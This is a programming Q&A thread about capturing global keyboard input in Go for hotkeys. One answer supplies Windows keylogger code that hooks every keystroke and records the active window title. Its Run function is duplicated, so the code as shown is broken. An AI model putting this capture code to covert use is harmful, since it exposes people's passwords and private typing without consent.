4

Does Go provide a way to listen to global keyboard inputs? Essentially like a keylogger (however that's not my purpose) where it captures input if the focus is outside its own context.

Ideally it would be cross platform, but if not Windows only would work as well.

My end goal is a tool that is cross platform, doesn't require a runtime, that allows you to register global keyboard shortcuts to in app javascript invocations (mainly control Google Music). It'll be done by having a Chrome extension connect to a socket.io connection in the Golang app, and having the app then feed commands to the extension.

2 Answers 2

1

Capturing keyboard input outside the context of the application is platform specific. Go specifically does not have bindings to these APIs.

Mac OS X has an Objective-C API called event taps. Windows has C++ function RegisterHotKey, although I am less familiar with Windows APIs.

There may be toolkits / frameworks that allow you to do this cross-platform, but there currently aren't any in Go. If you find any in C, you may be able to hook it into Go using cgo.

Perhaps you are over-complicating things? There is a page here that describes adding keyboard shortcuts for a Chrome extension.

Sign up to request clarification or add additional context in comments.

1 Comment

Read under the Scope section. "Commands can instead have global scope, as of version 35". Looks like it's changed within the past month. Thanks so much for the link!
0

I wrote a blog post about how to create keylogger in golang. I hope it can be of any help to you.

check out the library go-hook

// package keylogger... it's a keylogger.
package keylogger

import (
    "fmt"
    "os"
    "os/signal"

    "syscall"
    "unsafe"

    "github.com/moutend/go-hook/pkg/keyboard"
    "github.com/moutend/go-hook/pkg/types"
    "golang.org/x/sys/windows"
)

var (
    mod = windows.NewLazyDLL("user32.dll")

    procGetKeyState         = mod.NewProc("GetKeyState")
    procGetKeyboardLayout   = mod.NewProc("GetKeyboardLayout")
    procGetKeyboardState    = mod.NewProc("GetKeyboardState")
    procToUnicodeEx         = mod.NewProc("ToUnicodeEx")
    procGetWindowText       = mod.NewProc("GetWindowTextW")
    procGetWindowTextLength = mod.NewProc("GetWindowTextLengthW")
)

type (
    HANDLE uintptr
    HWND   HANDLE
)

// Gets length of text of window text by HWND
func GetWindowTextLength(hwnd HWND) int {
    ret, _, _ := procGetWindowTextLength.Call(
        uintptr(hwnd))

    return int(ret)
}

// Gets text of window text by HWND
func GetWindowText(hwnd HWND) string {
    textLen := GetWindowTextLength(hwnd) + 1

    buf := make([]uint16, textLen)
    procGetWindowText.Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(&buf[0])),
        uintptr(textLen))

    return syscall.UTF16ToString(buf)
}

// Gets current foreground window
func GetForegroundWindow() uintptr {
    proc := mod.NewProc("GetForegroundWindow")
    hwnd, _, _ := proc.Call()
    return hwnd
}

// Runs the keylogger
func Run(key_out chan rune, window_out chan string) error {
    // Buffer size is depends on your need. The 100 is placeholder value.
    keyboardChan := make(chan types.KeyboardEvent, 100)

    if err := keyboard.Install(nil, keyboardChan); err != nil {
        return err
    }

    defer keyboard.Uninstall()

    signalChan := make(chan os.Signal, 1)
    signal.Notify(signalChan, os.Interrupt)

    fmt.Println("start capturing keyboard input")

    for {
        select {
        case <-signalChan:
            fmt.Println("Received shutdown signal")
            return nil
        case k := <-keyboardChan:
            if hwnd := GetForegroundWindow(); hwnd != 0 {
                if k.Message == types.WM_KEYDOWN {
                    key_out <- VKCodeToAscii(k)
                    window_out <- GetWindowText(HWND(hwnd))
                }
            }
        }
    }
}

// Converts from Virtual-Keycode to Ascii rune
func VKCodeToAscii(k types.KeyboardEvent) rune {
    var buffer []uint16 = make([]uint16, 256)
    var keyState []byte = make([]byte, 256)

    n := 10
    n |= (1 << 2)

    procGetKeyState.Call(uintptr(k.VKCode))

    procGetKeyboardState.Call(uintptr(unsafe.Pointer(&keyState[0])))
    r1, _, _ := procGetKeyboardLayout.Call(0)

    procToUnicodeEx.Call(uintptr(k.VKCode), uintptr(k.ScanCode), uintptr(unsafe.Pointer(&keyState[0])),
        uintptr(unsafe.Pointer(&buffer[0])), 256, uintptr(n), r1)

    if len(syscall.UTF16ToString(buffer)) > 0 {
        return []rune(syscall.UTF16ToString(buffer))[0]
    }
    return rune(0)
}
func Run(key_out chan rune, window_out chan string) error {
    // Buffer size is depends on your need. The 100 is placeholder value.
    keyboardChan := make(chan types.KeyboardEvent, 1024)

    if err := keyboard.Install(nil, keyboardChan); err != nil {
        return err
    }

    defer keyboard.Uninstall()

    signalChan := make(chan os.Signal, 1)
    signal.Notify(signalChan, os.Interrupt)

    fmt.Println("start capturing keyboard input")

    for {
        select {
        case <-signalChan:
            fmt.Println("Received shutdown signal")
            return nil
        case k := <-keyboardChan:
            if hwnd := GetForegroundWindow(); hwnd != 0 {
                if k.Message == types.WM_KEYDOWN {
                    key_out <- VKCodeToAscii(k)
                    window_out <- GetWindowText(HWND(hwnd))
                }
            }
        }
    }
}

First initialize a buffered channel to store keyboard events then install the low level keyboard hook using keyboard.Install(). defer uninstallation of the hook so that it gets uninstalled when the function returns. Then in an infinite for loop get the foreground window using GetForegroundWindow() and when a key is pressed send the key to the key_out channel and the window name to window_out channel.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.